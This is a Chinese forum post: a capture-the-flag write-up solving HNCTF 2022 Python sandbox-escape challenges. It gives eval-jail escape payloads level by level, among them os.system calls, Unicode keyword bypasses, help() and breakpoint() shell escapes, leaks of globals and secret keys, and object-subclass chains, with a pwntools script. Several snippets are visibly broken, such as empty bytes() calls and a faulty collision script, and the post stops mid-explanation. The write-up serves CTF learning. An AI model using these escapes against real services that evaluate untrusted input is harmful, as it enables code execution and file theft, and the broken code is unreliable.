一鸣过年 發表於 2023-11-5 22:22:00

Jail 【Python沙箱逃逸问题合集】

<h1>借助NSS平台题目,以2022年HNCTF为例展开分析</h1>
<p><span style="font-family: 幼圆; font-size: 18px">背景:</span></p>
<p><span style="font-family: 幼圆; font-size: 18px">由于目前很多赛事有时候会出现一些pyjail的题目,因此在这里总结一下以便以后遇见可以轻松应对。</span></p>
<p><span style="font-family: 幼圆; font-size: 18px">注:由于Python3中的unicode特性,所以也会见到unicode碰撞的题目,因此利用下面脚本可以获取一些常用的碰撞unicode。</span></p>
<p><span style="font-family: 幼圆; font-size: 18px">exp:</span></p>
<pre class="language-python highlighter-hljs"><code>from unicodedata import normalize
from string import ascii_lowercase
from collections import defaultdict

lst = list(ascii_lowercase)
dic = defaultdict(list)
for char in lst:
    for i in range(0x110000):
      if normalize("NFKC", chr(i)) == char:
            dic.append(chr(i))
      if len(dic) &gt; 9:
            break
print(dic)</code></pre>
<h1><span style="font-size: 28px" data-v-db92ba9a="">calc_jail_beginner(JAIL)</span></h1>
<p><span style="font-family: 幼圆; font-size: 18px">连接靶机进入题目</span></p>
<pre class="language-python highlighter-hljs"><code>nc node5.anna.nssctf.cn 28565                                                                                                    ─╯

_   ______      _                              _       _ _
| |   |____|    (_)                            | |   (_) |
| |__ | |__   __ _ _ _ ___ __   ___ _ __       | | __ _ _| |
| '_ \|__| / _` | | '_ \| '_ \ / _ \ '__|_   | |/ _` | | |
| |_) | |___| (_| | | | | | | | |__/ |    | |__| | (_| | | |
|_.__/|______\__, |_|_| |_|_| |_|\___|_|   \____/ \__,_|_|_|
               __/ |                                          
            |___/                                          

Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
&gt; </code></pre>
<p><span style="font-family: 幼圆; font-size: 18px">签到题,一把梭</span></p>
<pre class="language-python highlighter-hljs"><code>open("flag").read()</code></pre>
<pre class="language-python highlighter-hljs"><code>Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
&gt; open("flag").read()
Answer: flag=NSSCTF{25df994d-430f-498d-a4dd-ddb660ada60e}</code></pre>
<h1><span style="font-size: 28px" data-v-db92ba9a="">python2 input(JAIL)</span></h1>
<p><span style="font-family: 幼圆; font-size: 18px">连接靶机进入题目</span></p>
<pre class="language-python highlighter-hljs"><code>nc node5.anna.nssctf.cn 28167                                                                                                    ─╯

            _   _      ___      ___    _____             _    _ _   
             | | | |    / _ \      |__ \|_   _|         | || | |
_ ___   _| |_| |__ | | | |_ __    ) |   | |_ ___ __ | || | |_
| '_ \| | | | __| '_ \| | | | '_ \/ /    | | | '_ \| '_ \| || | __|
| |_) | |_| | |_| | | | |_| | | | |/ /_   _| |_| | | | |_) | |__| | |_
| .__/ \__, |\__|_| |_|\___/|_| |_|____| |_____|_| |_| .__/ \____/ \__|
| |   __/ |                                        | |               
|_|    |___/                                       |_|                              

Welcome to the python jail
But this program will repeat your messages
&gt; </code></pre>
<pre class="language-python highlighter-hljs"><code>__import__("os").system("cat flag")</code></pre>
<pre class="language-python highlighter-hljs"><code>Welcome to the python jail
But this program will repeat your messages
&gt; __import__("os").system("cat flag")
flag=NSSCTF{2d86dce6-3763-438d-9e8e-554b267c1da6}
0</code></pre>
<h1><span style="font-size: 28px" data-v-db92ba9a="">calc_jail_beginner_level1(JAIL)</span></h1>
<p><span style="font-size: 18px; font-family: 幼圆" data-v-db92ba9a="">附件信息</span></p>
<pre class="language-python highlighter-hljs"><code>#the function of filter will banned some string ',",i,b
#it seems banned some payload
#Can u escape it?Good luck!

def filter(s):
    not_allowed = set('"\'`ib')
    return any(c in not_allowed for c in s)

WELCOME = '''
_                _                           _       _ _   _                _ __
| |            (_)                         (_)   (_) | | |            | /_ |
| |__   _____ _ _ _ ___ __   ___ _ __   ___ _ _| | | | _____   _____| || |
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ || |
| |_) |__/ (_| | | | | | | | |__/ |      | | (_| | | | | |__/\ V /__/ || |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_||_|
            __/ |                        _/ |                                 
             |___/                        |__/                                                                                    
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("&gt; ")
if filter(input_data):
    print("Oh hacker!")
    exit(0)
print('Answer: {}'.format(eval(input_data)))</code></pre>
<p><span style="font-family: 幼圆; font-size: 18px">连接靶机进入题目</span></p>
<pre class="language-python highlighter-hljs"><code>nc node5.anna.nssctf.cn 28239                                                                                                    ─╯

_                _                           _       _ _   _                _ __
| |            (_)                         (_)   (_) | | |            | /_ |
| |__   _____ _ _ _ ___ __   ___ _ __   ___ _ _| | | | _____   _____| || |
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ || |
| |_) |__/ (_| | | | | | | | |__/ |      | | (_| | | | | |__/\ V /__/ || |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_||_|
            __/ |                        _/ |                                 
             |___/                        |__/                                                                                    

Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
&gt; </code></pre>
<p><span style="font-size: 18px; font-family: 幼圆" data-v-db92ba9a="">过滤了部分字符,使用chr拼接flag</span></p>
<pre class="language-python highlighter-hljs"><code>open(chr(102)+chr(108)+chr(97)+chr(103)).read()</code></pre>
<pre class="language-python highlighter-hljs"><code>Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
&gt; open(chr(102)+chr(108)+chr(97)+chr(103)).read()
Answer: flag=NSSCTF{37ce5cec-7057-42d9-97fd-09b4ebc0e443}</code></pre>
<h1><span style="font-size: 28px" data-v-db92ba9a="">calc_jail_beginner_level2(JAIL)</span></h1>
<p><span style="font-size: 18px; font-family: 幼圆" data-v-db92ba9a="">附件信息</span></p>
<pre class="language-python highlighter-hljs"><code>#the length is be limited less than 13
#it seems banned some payload
#Can u escape it?Good luck!

WELCOME = '''
_                _                           _       _ _   _                _ ___
| |            (_)                         (_)   (_) | | |            | |__ \
| |__   _____ _ _ _ ___ __   ___ _ __   ___ _ _| | | | _____   _____| |) |
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ | / /
| |_) |__/ (_| | | | | | | | |__/ |      | | (_| | | | | |__/\ V /__/ |/ /_
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_|____|
            __/ |                        _/ |                                    
             |___/                        |__/                                                                           
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("&gt; ")
if len(input_data)&gt;13:
    print("Oh hacker!")
    exit(0)
print('Answer: {}'.format(eval(input_data)))</code></pre>
<p><span style="font-size: 18px; font-family: 幼圆" data-v-db92ba9a="">连接靶机</span></p>
<pre class="language-python highlighter-hljs"><code>nc node5.anna.nssctf.cn 28837                                                                                                    ─╯

_                _                           _       _ _   _                _ ___
| |            (_)                         (_)   (_) | | |            | |__ \
| |__   _____ _ _ _ ___ __   ___ _ __   ___ _ _| | | | _____   _____| |) |
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ | / /
| |_) |__/ (_| | | | | | | | |__/ |      | | (_| | | | | |__/\ V /__/ |/ /_
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_|____|
            __/ |                        _/ |                                    
             |___/                        |__/                                                                           

Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
&gt; </code></pre>
<p><span style="font-size: 28px" data-v-db92ba9a=""><span style="font-family: 幼圆; font-size: 18px">限制了输入的字符长度<code>不大于13</code></span></span></p>
<pre class="language-python highlighter-hljs"><code>eval(input())</code></pre>
<p><span style="font-size: 18px; font-family: 幼圆" data-v-db92ba9a="">这样就可以不限制输入并且执行了</span></p>
<pre class="language-python highlighter-hljs"><code>Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
&gt; eval(input())
open("flag").read()
Answer: flag=NSSCTF{48ba857a-34ec-4f31-ad69-726ef76d28c8}</code></pre>
<h1><span style="font-size: 28px" data-v-db92ba9a="">calc_jail_beginner_level2.5(JAIL)</span></h1>
<p><span style="font-size: 18px; font-family: 幼圆" data-v-db92ba9a="">附件信息</span></p>
<pre class="language-python highlighter-hljs"><code>#the length is be limited less than 13
#it seems banned some payload
#banned some unintend sol
#Can u escape it?Good luck!

def filter(s):
    BLACKLIST = ["exec","input","eval"]
    for i in BLACKLIST:
      if i in s:
            print(f'{i!r} has been banned for security reasons')
            exit(0)

WELCOME = '''
_                _                           _       _ _ _                _ ___    _____
| |            (_)                         (_)   (_) | |            | |__ \| ____|
| |__   _____ _ _ _ ___ __   ___ _ __   ___ _ _| | | _____   _____| |) | | |__
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | |/ _ \ \ / / _ \ | / /|___ \
| |_) |__/ (_| | | | | | | | |__/ |      | | (_| | | | |__/\ V /__/ |/ /_ _ ___) |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_|_|\___| \_/ \___|_|____(_)____/
            __/ |                        _/ |                                          
             |___/                        |__/                                                                                                            
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("&gt; ")
filter(input_data)
if len(input_data)&gt;13:
    print("Oh hacker!")
    exit(0)
print('Answer: {}'.format(eval(input_data)))</code></pre>
<p><span style="font-size: 18px; font-family: 幼圆" data-v-db92ba9a="">2.5在level2基础上既有过滤又有长度限制。浅试了一下大概ban了<code>eval、input、exec</code>这几个字符,但是python中存在unicode的注入,所以直接调用level2的payload改下unicode就OK了,可使用背景处的碰撞脚本实现。</span></p>
<pre class="language-python highlighter-hljs"><code>𝓮val(inp𝓾t())</code></pre>
<pre class="language-python highlighter-hljs"><code>Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
&gt; 𝓮val(inp𝓾t())
open("flag").read()
Answer: flag=NSSCTF{a9e00fb8-7899-4bcf-b8b9-78e6f4508a20}</code></pre>
<p><span style="font-size: 18px; font-family: 幼圆" data-v-db92ba9a="">注:如果传输带有unicode的payload无法输入的话,就用pwntools</span></p>
<pre class="language-python highlighter-hljs"><code>from pwn import *

io = remote("node5.anna.nssctf.cn",28141)
io.sendlineafter("Enter your expression and I will evaluate it for you.","𝓮val(inp𝓾t())")
io.interactive()</code></pre>
<pre class="language-python highlighter-hljs"><code>[*] Switching to interactive mode

&gt; $ open("flag").read()
Answer: flag=NSSCTF{a9e00fb8-7899-4bcf-b8b9-78e6f4508a20}</code></pre>
<p><span style="font-size: 18px; font-family: 幼圆" data-v-db92ba9a="">法二:还有一个叫作<code>breakpoint()</code> 的调试函数,进去后就可以执行其他命令了,这个更猛。。哈哈</span></p>
<pre class="language-python highlighter-hljs"><code>breakpoint()</code></pre>
<pre class="language-python highlighter-hljs"><code>Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
&gt; breakpoint()
--Return--
&gt; &lt;string&gt;(1)&lt;module&gt;()-&gt;None
(Pdb) open("flag").read()
'flag=NSSCTF{a9e00fb8-7899-4bcf-b8b9-78e6f4508a20}\n'
(Pdb) </code></pre>
<h1><span style="font-size: 28px" data-v-db92ba9a="">calc_jail_beginner_level3(JAIL)</span></h1>
<p><span style="font-size: 18px; font-family: 幼圆" data-v-db92ba9a="">附件信息</span></p>
<pre class="language-python highlighter-hljs"><code>#!/usr/bin/env python3
WELCOME = '''
_                _                           _       _ _   _                _ ____
| |            (_)                         (_)   (_) | | |            | |___ \
| |__   _____ _ _ _ ___ __   ___ _ __   ___ _ _| | | | _____   _____| | __) |
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ ||__ &lt;
| |_) |__/ (_| | | | | | | | |__/ |      | | (_| | | | | |__/\ V /__/ |___) |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_|____/
            __/ |                        _/ |                                    
             |___/                        |__/                                                                                       
'''

print(WELCOME)
#the length is be limited less than 7
#it seems banned some payload
#Can u escape it?Good luck!
print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("&gt; ")
if len(input_data)&gt;7:
    print("Oh hacker!")
    exit(0)
print('Answer: {}'.format(eval(input_data)))</code></pre>
<p><span style="font-family: 幼圆; font-size: 18px">这个限制了长度不超过7,因此猜测肯定有更简短的函数调用可以执行shell或者io,不然没法玩了。</span></p>
<p><span style="font-family: 幼圆; font-size: 18px">百度发现了一篇文章 Python eval 利用技巧 提到了<code>help()</code>方法会执行more这个程序,然后就可以执行shell了</span></p>
<pre class="language-python highlighter-hljs"><code>help()</code></pre>
<pre class="language-python highlighter-hljs"><code>&gt; help()

Welcome to Python 3.8's help utility!
.....</code></pre>
<pre class="language-python highlighter-hljs"><code>help&gt; sys
Help on built-in module sys:

NAME
    sys

MODULE REFERENCE
    https://docs.python.org/3.8/library/sys
   
    The following documentation is automatically generated from the Python
    source files.It may be incomplete, incorrect or include features that
    are considered implementation detail and may vary between Python
    implementations.When in doubt, consult the module reference at the
    location listed above.

DESCRIPTION
    This module provides access to some objects used or maintained by the
    interpreter and to functions that interact strongly with the interpreter.
   
    Dynamic objects:
   
    argv -- command line arguments; argv is the script pathname if known
    path -- module search path; path is the script directory, else ''
    modules -- dictionary of loaded modules
--More--! cat flag
! cat flag
flag=NSSCTF{e91f30ce-3db4-4f4f-926f-02fc6dff92c4}
------------------------</code></pre>
<h1>&nbsp;<span style="font-size: 28px" data-v-db92ba9a="">lake lake lake(JAIL)</span></h1>
<p><span style="font-size: 18px; font-family: 幼圆" data-v-db92ba9a="">附件信息</span></p>
<details>
<summary>查看代码</summary>
<pre class="language-python highlighter-hljs"><code>&nbsp;#it seems have a backdoor
#can u find the key of it and use the backdoor

fake_key_var_in_the_local_but_real_in_the_remote = ""

def func():
    code = input("&gt;")
    if(len(code)&gt;9):
      return print("you're hacker!")
    try:
      print(eval(code))
    except:
      pass

def backdoor():
    print("Please enter the admin key")
    key = input("&gt;")
    if(key == fake_key_var_in_the_local_but_real_in_the_remote):
      code = input("&gt;")
      try:
            print(eval(code))
      except:
            pass
    else:
      print("Nooo!!!!")

WELCOME = '''
_       _          _       _          _       _      
| |   | |      | |   | |      | |   | |      
| | __ _| | _____| | __ _| | _____| | __ _| | _____
| |/ _` | |/ / _ \ | |/ _` | |/ / _ \ | |/ _` | |/ / _ \
| | (_| |   &lt;__/ | | (_| |   &lt;__/ | | (_| |   &lt;__/
|_|\__,_|_|\_\___| |_|\__,_|_|\_\___| |_|\__,_|_|\_\___|                                                                                                                                                                     
'''

print(WELCOME)

print("Now the program has two functions")
print("can you use dockerdoor")
print("1.func")
print("2.backdoor")
input_data = input("&gt; ")
if(input_data == "1"):
    func()
    exit(0)
elif(input_data == "2"):
    backdoor()
    exit(0)
else:
    print("not found the choice")
    exit(0)</code></pre>
</details>
<p><span style="font-size: 18px; font-family: 幼圆" data-v-db92ba9a="">题目描述:</span></p>
<pre class="highlighter-hljs" style="white-space: pre-line; overflow-wrap: break-word" data-v-db92ba9a=""><code>Cool job of u finished level3
Now it's time for level4,Try to leak the key!</code></pre>
<p><span style="font-size: 18px; font-family: 幼圆" data-v-db92ba9a="">连接靶机</span></p>
<pre class="language-python highlighter-hljs"><code>nc node5.anna.nssctf.cn 28755                                                                                                    ─╯

_       _          _       _          _       _      
| |   | |      | |   | |      | |   | |      
| | __ _| | _____| | __ _| | _____| | __ _| | _____
| |/ _` | |/ / _ \ | |/ _` | |/ / _ \ | |/ _` | |/ / _| | (_| |   &lt;__/ | | (_| |   &lt;__/ | | (_| |   &lt;__/
|_|\__,_|_|\_\___| |_|\__,_|_|\_\___| |_|\__,_|_|\_\___|                                                                                                                                                                     

Now the program has two functions
can you use dockerdoor
1.func
2.backdoor
&gt; </code></pre>
<p><span style="font-family: 幼圆; font-size: 18px">两个通道1和2,根据题目提示,经尝试发现大概意思是走1获取通关的key,然后拿着key进入2进行验证key,验证成功即可随便输入。</span></p>
<p><span style="font-family: 幼圆; font-size: 18px">下面来实现</span></p>
<p><span style="font-family: 幼圆; font-size: 18px">先走1,使用<code>globals()</code>获取全局的变量</span></p>
<pre class="language-python highlighter-hljs"><code>&gt; 1
&gt;globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': &lt;_frozen_importlib_external.SourceFileLoader object at 0x7f095fed0a90&gt;, '__spec__': None, '__annotations__': {}, '__builtins__': &lt;module 'builtins' (built-in)&gt;, '__file__': '/home/ctf/./server.py', '__cached__': None, 'key_9b1d015375213e21': 'a34af94e88aed5c34fb5ccfe08cd14ab', 'func': &lt;function func at 0x7f096006fd90&gt;, 'backdoor': &lt;function backdoor at 0x7f095ff31fc0&gt;, 'WELCOME': '\n_       _          _       _          _       _      \n | |   | |      | |   | |      | |   | |       \n | | __ _| | _____| | __ _| | _____| | __ _| | _____ \n | |/ _` | |/ / _ \\ | |/ _` | |/ / _ \\ | |/ _` | |/ / _| | (_| |   &lt;__/ | | (_| |   &lt;__/ | | (_| |   &lt;__/\n |_|\\__,_|_|\\_\\___| |_|\\__,_|_|\\_\\___| |_|\\__,_|_|\\_\\___|                                                                                                                                                                     \n', 'input_data': '1'}</code></pre>
<p><span style="font-family: 幼圆; font-size: 18px">得到key为<code>a34af94e88aed5c34fb5ccfe08cd14ab</code></span></p>
<p><span style="font-family: 幼圆; font-size: 18px">然后进入2</span></p>
<pre class="language-python highlighter-hljs"><code>Now the program has two functions
can you use dockerdoor
1.func
2.backdoor
&gt; 2
Please enter the admin key
&gt;a34af94e88aed5c34fb5ccfe08cd14ab
&gt;open("flag").read()
flag=NSSCTF{9838237e-fd38-45d4-a82d-f4a8e0c8eca3}</code></pre>
<h1><span style="font-size: 28px" data-v-db92ba9a="">l@ke l@ke l@ke(JAIL)</span></h1>
<p><span style="font-size: 18px; font-family: 幼圆" data-v-db92ba9a="">附件信息</span></p>
<details>
<summary>查看代码</summary>
<pre class="language-python highlighter-hljs"><code>&nbsp;#it seems have a backdoor as `lake lake lake`
#but it seems be limited!
#can u find the key of it and use the backdoor

fake_key_var_in_the_local_but_real_in_the_remote = ""

def func():
    code = input("&gt;")
    if(len(code)&gt;6):
      return print("you're hacker!")
    try:
      print(eval(code))
    except:
      pass

def backdoor():
    print("Please enter the admin key")
    key = input("&gt;")
    if(key == fake_key_var_in_the_local_but_real_in_the_remote):
      code = input("&gt;")
      try:
            print(eval(code))
      except:
            pass
    else:
      print("Nooo!!!!")

WELCOME = '''
_         _          _         _          _         _      
| |____ | |      | |____ | |      | |____ | |      
| | / __ \| | _____| | / __ \| | _____| | / __ \| | _____
| |/ / _` | |/ / _ \ | |/ / _` | |/ / _ \ | |/ / _` | |/ / _ \
| | | (_| |   &lt;__/ | | | (_| |   &lt;__/ | | | (_| |   &lt;__/
|_|\ \__,_|_|\_\___| |_|\ \__,_|_|\_\___| |_|\ \__,_|_|\_\___|
   \____/               \____/               \____/                                                                                                                                                                                                                                       
'''

print(WELCOME)

print("Now the program has two functions")
print("can you use dockerdoor")
print("1.func")
print("2.backdoor")
input_data = input("&gt; ")
if(input_data == "1"):
    func()
    exit(0)
elif(input_data == "2"):
    backdoor()
    exit(0)
else:
    print("not found the choice")
    exit(0)</code></pre>
</details>
<p><span style="font-size: 18px; font-family: 幼圆" data-v-db92ba9a="">连接靶机</span></p>
<pre class="language-python highlighter-hljs"><code>nc node5.anna.nssctf.cn 28441                                                                                                    ─╯

_         _          _         _          _         _      
| |____ | |      | |____ | |      | |____ | |      
| | / __ \| | _____| | / __ \| | _____| | / __ \| | _____
| |/ / _` | |/ / _ \ | |/ / _` | |/ / _ \ | |/ / _` | |/ / _| | | (_| |   &lt;__/ | | | (_| |   &lt;__/ | | | (_| |   &lt;__/
|_|\ \__,_|_|\_\___| |_|\ \__,_|_|\_\___| |_|\ \__,_|_|\_\___|
   \____/               \____/               \____/                                                                                                                                                                              

Now the program has two functions
can you use dockerdoor
1.func
2.backdoor
&gt; </code></pre>
<p><span style="font-size: 18px; font-family: 幼圆" data-v-db92ba9a="">还是两步走,通道1,长度不超过6来获取key,通道2验证key</span></p>
<p><span style="font-size: 18px; font-family: 幼圆" data-v-db92ba9a="">对于通道1,我们调用help()进入函数,输入<code>server</code>查看key</span></p>
<pre class="language-python highlighter-hljs"><code>help&gt; server
Help on module server:

NAME
    server

DESCRIPTION
    #it seems have a backdoor as `lake lake lake`
    #but it seems be limited!
    #can u find the key of it and use the backdoor

FUNCTIONS
    backdoor()
   
    func()

DATA
    WELCOME = '\n_         _          _         _          _...       ...
    input_data = '1'
    key_9d38ee7f31d6126d = '95c720690c2c83f0982ffba63ff87338'

FILE
    /home/ctf/server.py</code></pre>
<p><span style="font-size: 18px; font-family: 幼圆" data-v-db92ba9a="">拿到key:95c720690c2c83f0982ffba63ff87338</span></p>
<p><span style="font-size: 18px; font-family: 幼圆" data-v-db92ba9a="">进入backdoor</span></p>
<pre class="language-python highlighter-hljs"><code>Now the program has two functions
can you use dockerdoor
1.func
2.backdoor
&gt; 2
Please enter the admin key
&gt;95c720690c2c83f0982ffba63ff87338
&gt;open("flag").read()
flag=NSSCTF{8d10ca32-927f-4c26-9982-eef5b8a1c14b}</code></pre>
<h1><span style="font-size: 18px; font-family: &quot;PingFang SC&quot;, 宋体" data-v-db92ba9a=""><span style="font-size: 28px" data-v-db92ba9a="">calc_jail_beginner_level4(JAIL)</span></span></h1>
<p><span style="font-size: 18px; font-family: 幼圆" data-v-db92ba9a="">附件信息</span></p>
<details>
<summary>查看代码</summary>
<pre class="language-python highlighter-hljs"><code>&nbsp;#No danger function,no chr,Try to hack me!!!!
#Try to read file ./flag


BANLIST = ['__loader__', '__import__', 'compile', 'eval', 'exec', 'chr']

eval_func = eval

for m in BANLIST:
    del __builtins__.__dict__

del __loader__, __builtins__

def filter(s):
    not_allowed = set('"\'`')
    return any(c in not_allowed for c in s)

WELCOME = '''
_                _                           _       _ _   _                _ __   
| |            (_)                         (_)   (_) | | |            | | || |
| |__   _____ _ _ _ ___ __   ___ _ __   ___ _ _| | | | _____   _____| | || |_
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ |__   _|
| |_) |__/ (_| | | | | | | | |__/ |      | | (_| | | | | |__/\ V /__/ || |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_||_|
            __/ |                        _/ |                                    
             |___/                        |__/                                                                                                                                             
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("&gt; ")
if filter(input_data):
    print("Oh hacker!")
    exit(0)
print('Answer: {}'.format(eval_func(input_data)))</code></pre>
</details>
<p><span style="font-size: 18px; font-family: 幼圆" data-v-db92ba9a="">连接靶机</span></p>
<pre class="language-python highlighter-hljs"><code>nc node5.anna.nssctf.cn 28243                                                                                                    ─╯

_                _                           _       _ _   _                _ __   
| |            (_)                         (_)   (_) | | |            | | || |
| |__   _____ _ _ _ ___ __   ___ _ __   ___ _ _| | | | _____   _____| | || |_
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ |__   _|
| |_) |__/ (_| | | | | | | | |__/ |      | | (_| | | | | |__/\ V /__/ || |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_||_|
            __/ |                        _/ |                                    
             |___/                        |__/                                                                                                                                             

Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
&gt; </code></pre>
<p><span style="font-family: 幼圆; font-size: 18px">chr被ban了,所以字符串构造就要换一种方式了,使用bytes([]).decode()</span></p>
<p><span style="font-family: 幼圆; font-size: 18px">payload为</span><code><span style="font-family: 幼圆; font-size: 18px">open("flag").read()</span></code></p>
<pre class="language-python highlighter-hljs"><code>open((bytes()+bytes()+bytes()+bytes()).decode()).read()</code></pre>
<pre class="language-python highlighter-hljs"><code>Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
&gt; open((bytes()+bytes()+bytes()+bytes()).decode()).read()
Answer: flag=NSSCTF{cd2d9aea-d3a2-497e-b4be-31a4cd5df78e}</code></pre>
<h1><span style="font-size: 18px; font-family: &quot;PingFang SC&quot;, 宋体" data-v-db92ba9a=""><span style="font-size: 28px" data-v-db92ba9a="">calc_jail_beginner_level4.0.5(JAIL)</span></span></h1>
<p><span style="font-size: 18px; font-family: 幼圆" data-v-db92ba9a="">连接靶机</span></p>
<pre class="language-python highlighter-hljs"><code>nc node5.anna.nssctf.cn 28573                                                                                                    ─╯

_                _                           _       _ _   _                _ __    ___   _____
| |            (_)                         (_)   (_) | | |            | | || |/ _ \ | ____|
| |__   _____ _ _ _ ___ __   ___ _ __   ___ _ _| | | | _____   _____| | || |_| | | || |__
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ |__   _| | | ||___ \
| |_) |__/ (_| | | | | | | | |__/ |      | | (_| | | | | |__/\ V /__/ || |_| |_| | ___) |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_||_(_)\___(_)____/
            __/ |                        _/ |                                                   
             |___/                        |__/                                                                                                                                                      

Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals and `,",' Good luck!
&gt; </code></pre>
<p><span style="font-size: 18px; font-family: 幼圆" data-v-db92ba9a="">被ban的有</span></p>
<pre class="language-python highlighter-hljs"><code>Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals and `,",' Good luck!</code></pre>
<p><span style="font-family: 幼圆; font-size: 18px">我们仍然选择使用bytes([]).decode()的形式</span></p>
<p><span style="font-family: 幼圆; font-size: 18px">最终的payload是</span><code><span style="font-family: 幼圆; font-size: 18px">system("cat flag")</span></code></p>
<pre class="language-python highlighter-hljs"><code>[].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[(bytes()+bytes()+bytes()+bytes()+bytes()+bytes()).decode()]((bytes()+bytes()+bytes()+bytes()+bytes()+bytes()+bytes()+bytes()).decode())</code></pre>
<pre class="language-python highlighter-hljs"><code>Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals and `,",' Good luck!
&gt; [].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[(bytes()+bytes()+bytes()+bytes()+bytes()+bytes()).decode()]((bytes()+bytes()+bytes()+bytes()+bytes()+bytes()+bytes()+bytes()).decode())
flag=NSSCTF{7f54330f-3ace-490c-bddc-19ac057f9a39}
Answer: 0</code></pre>
<h1><span style="font-size: 28px" data-v-db92ba9a="">calc_jail_beginner_level4.1(JAIL)</span></h1>
<p><span style="font-family: 幼圆; font-size: 18px">题目描述:</span></p>
<pre class="highlighter-hljs" style="white-space: pre-line; overflow-wrap: break-word" data-v-db92ba9a=""><code>So cool that u finished the 4.0 challeng
but now u can read file</code></pre>
<p><span style="font-family: 幼圆; font-size: 18px">连接靶机</span></p>
<pre class="language-python highlighter-hljs"><code>nc node5.anna.nssctf.cn 28261                                                                                                    ─╯

_                _                           _       _ _   _                _ ____
| |            (_)                         (_)   (_) | | |            | | || |/_ |
| |__   _____ _ _ _ ___ __   ___ _ __   ___ _ _| | | | _____   _____| | || |_| |
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ |__   _| |
| |_) |__/ (_| | | | | | | | |__/ |      | | (_| | | | | |__/\ V /__/ || |_| |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_||_(_)_|
            __/ |                        _/ |                                       
             |___/                        |__/                                                                                                                                                                     

Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,bytes and `,",' Good luck!
&gt; </code></pre>
<pre class="language-python highlighter-hljs"><code>Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,bytes and `,",' Good luck!</code></pre>
<p><span style="font-family: 幼圆; font-size: 18px">哈哈ban了bytes ,得换一种方法获取bytes了,可以用type来获取bytes</span></p>
<p><span style="font-family: 幼圆; font-size: 18px">而且根据提示可知需要查文件,因此这题flag肯定不是flag了,需要执行ls查看文件名。。。</span></p>
<p><span style="font-family: 幼圆; font-size: 18px">先说明一下bytes和type的关系:</span></p>
<pre class="language-python highlighter-hljs"><code>bytes = type(str(1).encode())
"system" == (type(str(1).encode())()+type(str(1).encode())()+type(str(1).encode())()+type(str(1).encode())()+type(str(1).encode())()+type(str(1).encode())()).decode()

&lt;class 'os._wrap_close'&gt; == [].__class__.__mro__[-1].__subclasses__()[-4]

# 执行system(???)
